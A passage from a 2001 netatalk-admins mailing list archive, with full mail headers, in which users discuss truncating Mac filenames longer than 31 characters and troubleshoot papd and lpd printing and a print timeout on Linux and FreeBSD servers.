> extension. The example file names would become:
> my_really_important_files.tgz
> my-really_important_file1.tgz
> 
> The characters could be removed from the beginning or the middle of the file 
> name. Which would result in something like this:
> y_really_important_files1.tgz
> y-really_important_files2.tgz
> 
> OR
> 
> my_really_impotant_files1.tgz
> my-really_impotant_files2.tgz
> 
> 
> The best solution might be a combination of these approaches. 
> 
> First try removing chars from between the root of the name and the file 
> extension. 
> 
> If that results in a conflict try removing chars from the middle of the name.
> 
> If that results in a conflict try removing chars from the beginning of the 
> name.
> 
> As a last resort add a number to the file name.
> 
> 
> I look forward to hearing other peoples' thoughts on this.
> 
> Have a great day.
> David Nelson
> 

From netatalk.administrators-errors@umich.edu  Fri Jun 15 15:51:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA01860
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 15:51:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA13484
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 15:51:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA13460
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 15:51:28 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA13409
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 15:51:27 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id 90483394FF; Fri, 15 Jun 2001 14:51:25 -0500 (CDT)
Date: Fri, 15 Jun 2001 14:51:25 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Subject: Re: Files not visible with over 31 characters
Message-ID: <20010615145125.V14629@newwww.teleologic.net>
References: <1ev07s6.q3y3hy1etpsaoM@cx448422-b.wwck1.ri.home.com> <01061500523200.17966@athlet> <01061510585000.01233@crank.bike> <20010615143759.T14629@newwww.teleologic.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <20010615143759.T14629@newwww.teleologic.net>; from dsauer@teleologic.net on Fri, Jun 15, 2001 at 02:37:59PM -0500
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

Replying to myself...  Ignore the crud about the map file.  I had the 31
char limit on the wrong side of the hub when I was typing... :)

Danny wrote regarding 'Re: Files not visible with over 31 characters' on Fri, Jun 15 at 14:44:
> Why not just steal a method from windows?  If the filename's greater than
> 31 chars, start the truncation at the far right if there is no extension
> or if the rightmost extension has more than 4 chars.  If the filename has
> an extension with 1, 2, 3, or 4 chars, it's probably for some program's
> compatibility, and truncation should begin just left of that extension.
> One more char should be removed from the section being truncated and
> replaced with a 1.  If that filename exists, increment the number.  When
> 0 is reached (after 9), move one position to the left, and start the process
> over again, recursively, until the filename is unique.  I really don't like
> the idea of removing from the front or middle of a filename, 'cause the
> middle takes a little more math to find than the end, and the front would
> screw up alphabetical sorting.
> 
> After that, map that name to the original long name with some sort of
> indexed map file (dbm or something would be ok).  That way, netatalk
> can present the long name to the mac clients, and *nix/windows clients
> still get the reasonably truncated name.
> 
> I imagine that something would have to be done to uniquely identify the
> files in the case that they were renamed/moved by the *nix side or by a
> samba user or whatever.  A client program to look in the DB and find
> files that used to be mapped but no longer exist might work too - maybe
> keeping the file's creation time and mime type with the original name
> would help to fix broken mappings.  At worst, if the mapping breaks, the
> filename after truncation will still be reasonably readable by all clients.
> 
> --Danny
> 
> David wrote regarding 'Re: Files not visible with over 31 characters' on Fri, Jun 15 at 11:38:
> > On Thursday 14 June 2001 10:50 pm, Carsten Neumann wrote:
> > > What name truncation do you expect?
> > > Please tell detailed rules!
> > 
> > Okay. This is how I would like to see file name truncation handled:
> > 
> > If the name is over 31 chars and there is no extension just lop chars off the 
> > end of the name to get it down to 31.
> > 
> > If the file name has an extension or layers of extensions e.g. 
> > complete_collection_of_scanned_john_denver_album_covers.tar.gz, then start 
> > lopping just to the left of the first extension. The file name from my 
> > previous example would become:
> > complete_collection_of_scanned_john_denver_albu.tar.gz
> > 
> > Of course sometime removing characters from a file name will result in the 
> > file having the same name as another file in the same directory. For example 
> > consider what would happen if the following files were both 1 character 
> > over the Macintosh limit of 31.
> > my_really_important_files1.tgz
> > my-really_important_files2.tgz
> > 
> > Both files would end up with the name my-really_important_files.tgz, if that 
> > were allowed. The best way to handle this situation may not be immediately 
> > agreed upon by all. 
> > 
> > A number could be added to the end of the file name between the root and the 
> > extension. The example file names would become:
> > my_really_important_files.tgz
> > my-really_important_file1.tgz
> > 
> > The characters could be removed from the beginning or the middle of the file 
> > name. Which would result in something like this:
> > y_really_important_files1.tgz
> > y-really_important_files2.tgz
> > 
> > OR
> > 
> > my_really_impotant_files1.tgz
> > my-really_impotant_files2.tgz
> > 
> > 
> > The best solution might be a combination of these approaches. 
> > 
> > First try removing chars from between the root of the name and the file 
> > extension. 
> > 
> > If that results in a conflict try removing chars from the middle of the name.
> > 
> > If that results in a conflict try removing chars from the beginning of the 
> > name.
> > 
> > As a last resort add a number to the file name.
> > 
> > 
> > I look forward to hearing other peoples' thoughts on this.
> > 
> > Have a great day.
> > David Nelson
> > 
> 

From netatalk.administrators-errors@umich.edu  Fri Jun 15 16:01:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA02078
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 16:01:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27779
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 16:01:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27754
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 16:01:22 -0400 (EDT)
Received: from post.webmailer.de (natpost.webmailer.de [192.67.198.65])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA27713
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 16:01:21 -0400 (EDT)
Received: from [192.168.1.5] (p3E9BB27F.dip.t-dialin.net [62.155.178.127])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id WAA21541
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 22:01:19 +0200 (MET DST)
Mime-Version: 1.0
X-Sender: ckh%its-media.de@post.strato.de
Message-Id: <a05010401b7501bb2578e@[192.168.1.5]>
Date: Fri, 15 Jun 2001 22:08:39 +0200
To: netatalk-admins@umich.edu
From: Klaus Hornig <ckh@its-media.de>
Subject: unsubscribe
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

unsubscribe

From netatalk.administrators-errors@umich.edu  Fri Jun 15 16:56:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA04381
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 16:56:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA15009
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 16:56:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA15001
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 16:56:30 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA14988
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 16:56:29 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id RAA31409
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 17:23:20 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
In-Reply-To: <Pine.LNX.4.33.0106151301330.28405-100000@squirrel.bio.brandeis.edu>
Subject: Re: Files not visible with over 31 characters
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Fri, 15 Jun 2001 16:56:27 -0400
Message-ID: <1ev1ysy.764hrg1omdx58M@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 143 days)

> > If the name is over 31 chars and there is no extension just lop chars
> > off the end of the name to get it down to 31....
> 
> I agree not handling >31 character filenames is a nuisance. But users also
> get muddled when file names change, so I wouldn't rate it as a high
> priority.

It can make netatalk unuseable for allowing Mac's to see files in an ftp
server. 

I don't understand why this exists. A Mac connected to a win2k server
doesn't have this problem. 

I have installed Services for unix on my win2k server. I think I'll nfs
export dir from the freebsd box and mount it on the win2k and see if I
can then share it via Services for Macintosh.

Convluted I know but consider my alternative.

I have a business we don't like having to ask customers if they're
ftping from a mac or a pc and to limit them in their file names.

It's just bad business.

It's this kind of limitation that makes IT managers use Sun and Helios.

I would hope you and the others involved with netatalk see that this is
really a priority since it's a "deal killing" bug. I know we don't pay
for this but seriously, it should be the best it can  be.

From netatalk.administrators-errors@umich.edu  Sat Jun 16 17:07:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA12762
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Jun 2001 17:07:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA05416
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Jun 2001 17:07:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA05405
	for netatalk.administrators-members@umich.edu; Sat, 16 Jun 2001 17:07:05 -0400 (EDT)
Received: from mail.libertysurf.net (mail.libertysurf.net [213.36.80.91])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA05390
	for <netatalk-admins@umich.edu>; Sat, 16 Jun 2001 17:07:04 -0400 (EDT)
Received: from proxima.fr (212.129.9.136) by mail.libertysurf.net (5.1.053)
        id 3B296B2D0003C40C for netatalk-admins@umich.edu; Sat, 16 Jun 2001 23:07:03 +0200
Message-ID: <3B2BC5DA.52EB3B4C@proxima.fr>
Date: Sat, 16 Jun 2001 22:47:21 +0200
From: MOLLARD <mld@proxima.fr>
Reply-To: mld@proxima.fr
X-Mailer: Mozilla 4.5 [fr] (Macintosh; I; PPC)
X-Accept-Language: fr
MIME-Version: 1.0
To: Netatalk <netatalk-admins@umich.edu>
Subject: problem time out
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

Helo

I have install netatalk with suse 7.1

When i work with Serveur and i want to print (not via linux spool) a doc
(a big doc 300 Mo postscript) the serveur via IP is dsconnect i think
that is the time out on the connect but i don't know if is a Mac OS or
Netatalk whitch fist disconnect
please give me hepl
Escuse me for my english i'm a french
Thank you


From netatalk.administrators-errors@umich.edu  Sun Jun 17 15:56:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA07632
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 17 Jun 2001 15:56:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA21652
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 17 Jun 2001 15:56:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA21640
	for netatalk.administrators-members@umich.edu; Sun, 17 Jun 2001 15:56:29 -0400 (EDT)
Received: from web13008.mail.yahoo.com (web13008.mail.yahoo.com [216.136.174.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA21617
	for <netatalk-admins@umich.edu>; Sun, 17 Jun 2001 15:56:27 -0400 (EDT)
Message-ID: <20010617195627.34393.qmail@web13008.mail.yahoo.com>
Received: from [141.157.90.43] by web13008.mail.yahoo.com; Sun, 17 Jun 2001 12:56:27 PDT
Date: Sun, 17 Jun 2001 12:56:27 -0700 (PDT)
From: Patrick Gardella <pgardella@yahoo.com>
Subject: Baffled with papd
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

I've just gotten a new printer that doesn't have the appletalk port built in.  So I figured that
since I've been using netatalk (asun 1.4b2-2.1.3_1) for years now for file sharing that I would
set up printing again (done in other situations).

Now for the baffling part:
My new Lexmark shows up on the Mac just fine, and I have the PPD file from Lexmark.  If I print
from the Mac to the printer,  I see:

papd [XXXXX] child XXXXX for Lexmark from XXXXX.XXX (Mac's atalk address)
papd [XXXXX] child XXXXX done
But it never prints anything.  Nothing ever gets into lpd.  And I've switched the "pr=" line in
papd.conf to be both "pr=lp" and "pr=/usr/bin/lpr -Plp"  Same thing.

Printing from the FreeBSD box (-current) using "lpr" works.
Printing from the FreeBSD box using "pap -p Lexmark test.ps" works.
Printing to a file on the Mac, dropping it in the shared folder, and printing with both "lpr" and
"pap" work.  

The only thing that doesn't work is printing from the Mac to the printer.  Same file to print in
all these tests.

Other pertinet data:
Mac with 8.1
LaserWriter 8.6 with LaserWriter II NTX driver.

Any ideas?  

(I figured that since "pap" on the BSD box works, the one from the Mac should as well.)

Patrick

__________________________________________________
Do You Yahoo!?
Spot the hottest trends in music, movies, and more.
http://buzz.yahoo.com/

From netatalk.administrators-errors@umich.edu  Mon Jun 18 03:00:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA01305
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Jun 2001 03:00:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA13056
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Jun 2001 03:00:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA13042
	for netatalk.administrators-members@umich.edu; Mon, 18 Jun 2001 03:00:29 -0400 (EDT)
Received: from ciccgw.univ-bpclermont.fr ([195.221.122.100])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA12997
	for <netatalk-admins@umich.edu>; Mon, 18 Jun 2001 03:00:28 -0400 (EDT)
Received: from PCICC128 ([195.221.122.128])
          by ciccgw.univ-bpclermont.fr (8.9.3/jtpda-5.3.1) with ESMTP id IAA06046
          for <netatalk-admins@umich.edu>; Mon, 18 Jun 2001 08:56:58 +0200
Message-Id: <4.2.0.58.20010618085957.009ce840@laposte.univ-bpclermont.fr>
X-Sender: janvois@laposte.univ-bpclermont.fr
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Mon, 18 Jun 2001 09:00:16 +0200
To: netatalk-admins@umich.edu
From: Olivier Janvois <janvois@univ-bpclermont.fr>
Subject: unsubscribe
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed



From netatalk.administrators-errors@umich.edu  Mon Jun 18 06:14:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA06109
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Jun 2001 06:14:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA26943
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Jun 2001 06:14:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA26934
	for netatalk.administrators-members@umich.edu; Mon, 18 Jun 2001 06:14:39 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA26907
	for <netatalk-admins@umich.edu>; Mon, 18 Jun 2001 06:14:37 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id MAA07697;
	Mon, 18 Jun 2001 12:28:15 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 18 Jun 2001 12:15:00 +0200
Subject: Re: Baffled with papd
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Patrick Gardella <pgardella@yahoo.com>, <netatalk-admins@umich.edu>
Message-ID: <B753A144.BF12%Thomas.Kaiser@phg-online.de>
In-Reply-To: <20010617195627.34393.qmail@web13008.mail.yahoo.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on Sun, 17 Jun 2001 12:56:27 -0700 (PDT), Patrick Gardella wrote:

> My new Lexmark shows up on the Mac just fine, and I have the PPD file from
> Lexmark.  If I print from the Mac to the printer,  I see:
                                           ^^^^^^^
To the printer? You mean a Netatalk spooler, I think?

> papd [XXXXX] child XXXXX for Lexmark from XXXXX.XXX (Mac's atalk address)
> papd [XXXXX] child XXXXX done

Okay. At this point the printjob has been accepted and queued locally into
the lpd spooling system. What does "lpc status" say at this time?

> But it never prints anything.  Nothing ever gets into lpd.  And I've switched
> the "pr=" line in
> papd.conf to be both "pr=lp" and "pr=/usr/bin/lpr -Plp"  Same thing.

In the latter case there is a missing pipe symbol, isn't it?

(compare <http://www.giub.unibe.ch/~eugster/appleprint.html>)

How is "lp" configured? How look your printcap's entries like?

> Printing from the FreeBSD box (-current) using "lpr" works.
> Printing from the FreeBSD box using "pap -p Lexmark test.ps" works.
> Printing to a file on the Mac, dropping it in the shared folder, and printing
> with both "lpr" and "pap" work.

Maybe a permission problem that prevents papd to communicate with lpd? In
this case 'pr="|/usr/bin/lpr -Plp"' should help.

regard,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Jun 18 07:36:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA08005
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Jun 2001 07:36:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA21668
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Jun 2001 07:36:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA21635
	for netatalk.administrators-members@umich.edu; Mon, 18 Jun 2001 07:36:57 -0400 (EDT)
Received: from web13003.mail.yahoo.com (web13003.mail.yahoo.com [216.136.174.13])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id HAA21596
	for <netatalk-admins@umich.edu>; Mon, 18 Jun 2001 07:36:56 -0400 (EDT)
Message-ID: <20010618113656.44913.qmail@web13003.mail.yahoo.com>
Received: from [198.147.11.15] by web13003.mail.yahoo.com; Mon, 18 Jun 2001 04:36:56 PDT
Date: Mon, 18 Jun 2001 04:36:56 -0700 (PDT)
From: Patrick Gardella <pgardella@yahoo.com>
Subject: Re: Baffled with papd
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>, netatalk-admins@umich.edu
In-Reply-To: <B753A144.BF12%Thomas.Kaiser@phg-online.de>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii


--- Thomas Kaiser <Thomas.Kaiser@phg-online.de> wrote:
> on Sun, 17 Jun 2001 12:56:27 -0700 (PDT), Patrick Gardella wrote:
> 
> > My new Lexmark shows up on the Mac just fine, and I have the PPD file from
> > Lexmark.  If I print from the Mac to the printer,  I see:
>                                            ^^^^^^^
> To the printer? You mean a Netatalk spooler, I think?

Correct.

> > papd [XXXXX] child XXXXX for Lexmark from XXXXX.XXX (Mac's atalk address)
> > papd [XXXXX] child XXXXX done
> 
> Okay. At this point the printjob has been accepted and queued locally into
> the lpd spooling system. What does "lpc status" say at this time?

Nothing.  "lpc status all" shows nothing.

> > But it never prints anything.  Nothing ever gets into lpd.  And I've switched
> > the "pr=" line in
> > papd.conf to be both "pr=lp" and "pr=/usr/bin/lpr -Plp"  Same thing.
> 
> In the latter case there is a missing pipe symbol, isn't it?

Indeed, I mistyped that. 

> How is "lp" configured? How look your printcap's entries like?

I don't have it in front of me at the moment (here at work), but I set it up with "apsfilter".

> > Printing from the FreeBSD box (-current) using "lpr" works.
> > Printing from the FreeBSD box using "pap -p Lexmark test.ps" works.
> > Printing to a file on the Mac, dropping it in the shared folder, and printing
> > with both "lpr" and "pap" work.
> 
> Maybe a permission problem that prevents papd to communicate with lpd? In
> this case 'pr="|/usr/bin/lpr -Plp"' should help.

I was thinking it was, so I changed the permissions on /var/spool/lpd/lp so it was world
read/write, but that didn't do anything.  Neither does piping the command.

Patrick

__________________________________________________
Do You Yahoo!?
Spot the hottest trends in music, movies, and more.
http://buzz.yahoo.com/

From netatalk.administrators-errors@umich.edu  Mon Jun 18 07:50:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA08340
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Jun 2001 07:50:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA02076
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Jun 2001 07:50:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA02066
	for netatalk.administrators-members@umich.edu; Mon, 18 Jun 2001 07:50:22 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA02028
	for <netatalk-admins@umich.edu>; Mon, 18 Jun 2001 07:50:20 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id OAA24167;
	Mon, 18 Jun 2001 14:03:47 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 18 Jun 2001 13:50:33 +0200
Subject: Re: Baffled with papd
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Patrick Gardella <pgardella@yahoo.com>, <netatalk-admins@umich.edu>
Message-ID: <B753B7A8.BF3D%Thomas.Kaiser@phg-online.de>
In-Reply-To: <20010618113656.44913.qmail@web13003.mail.yahoo.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on Mon, 18 Jun 2001 04:36:56 -0700 (PDT), Patrick Gardella wrote:

>>> Printing from the FreeBSD box (-current) using "lpr" works.
>>> Printing from the FreeBSD box using "pap -p Lexmark test.ps" works.

There's is something I didn't noticed in my first reply -->
on Sun, 17 Jun 2001 12:56:27 -0700 (PDT), Patrick Gardella wrote:
"a new printer that doesn't have the appletalk port built in"

This means, that if you print via pap from your FreeBSD Box, you actually
print via Netatalk's papd, lpd and via remote lpr (or parallel or ...) to
the printer?

The job's transmission from papd to lpd is working if you print locally via
'pap' but it doesn't work from the Mac's side?

Thomas


From netatalk.administrators-errors@umich.edu  Mon Jun 18 09:14:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA10614
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Jun 2001 09:14:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA25042
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Jun 2001 09:14:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA25012
	for netatalk.administrators-members@umich.edu; Mon, 18 Jun 2001 09:14:19 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA24950
	for <netatalk-admins@umich.edu>; Mon, 18 Jun 2001 09:14:18 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f5IDE5P22839;
	Mon, 18 Jun 2001 09:14:05 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B2DFE87.BE454A78@univrel.pr.uconn.edu>
Date: Mon, 18 Jun 2001 09:13:43 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mld@proxima.fr
CC: Netatalk <netatalk-admins@umich.edu>
Subject: Re: problem time out
References: <3B2BC5DA.52EB3B4C@proxima.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

MOLLARD wrote:
> I have install netatalk with suse 7.1
> 
> When i work with Serveur and i want to print (not via linux spool) a doc
> (a big doc 300 Mo postscript) the serveur via IP is dsconnect i think
> that is the time out on the connect but i don't know if is a Mac OS or
> Netatalk whitch fist disconnect
> please give me hepl

Which version of netatalk are you using?

Jeff

From netatalk.administrators-errors@umich.edu  Mon Jun 18 09:33:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA11414
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Jun 2001 09:33:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA24778
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Jun 2001 09:33:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA24753
	for netatalk.administrators-members@umich.edu; Mon, 18 Jun 2001 09:33:12 -0400 (EDT)
Received: from beacon.beaconschool.org ([209.2.216.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA24558
	for <netatalk-admins@umich.edu>; Mon, 18 Jun 2001 09:33:05 -0400 (EDT)
Received: from localhost (jpione@localhost)
	by beacon.beaconschool.org (8.9.3/8.9.3) with ESMTP id JAA31684
	for <netatalk-admins@umich.edu>; Mon, 18 Jun 2001 09:32:37 -0400
Date: Mon, 18 Jun 2001 09:32:37 -0400 (EDT)
From: James Pione <jpione@beacon.beaconschool.org>
To: <netatalk-admins@umich.edu>
Subject: papd error
Message-ID: <Pine.LNX.4.30.0106180919200.31492-100000@beacon.beaconschool.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi All.
	I'm running netatalk 1.4b2 on a FreeBSD 4.2 box as a file and
print server for a bunch of macs. First, I have to say netatalk generally
runs great. Unfortunately, papd keeps on returning an error message
whenever one of the macs sends a print job. Here's the message:

papd[314]: select: Interrupted system call
papd[239]: child 314 exited with 1
papd[239]: child 314 exited with 1

Here's my papd.conf:

morlock:\
	:pr=|usr/bin/lpr -Plp:\
	:pd=/usr/share/lib/ppd/LASERWRITER12640PS.ppd

Fortunately, even though papd returns this error, the user's jobs still
print. Thanks in advance for anyone's ideas.


From netatalk.administrators-errors@umich.edu  Mon Jun 18 09:52:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
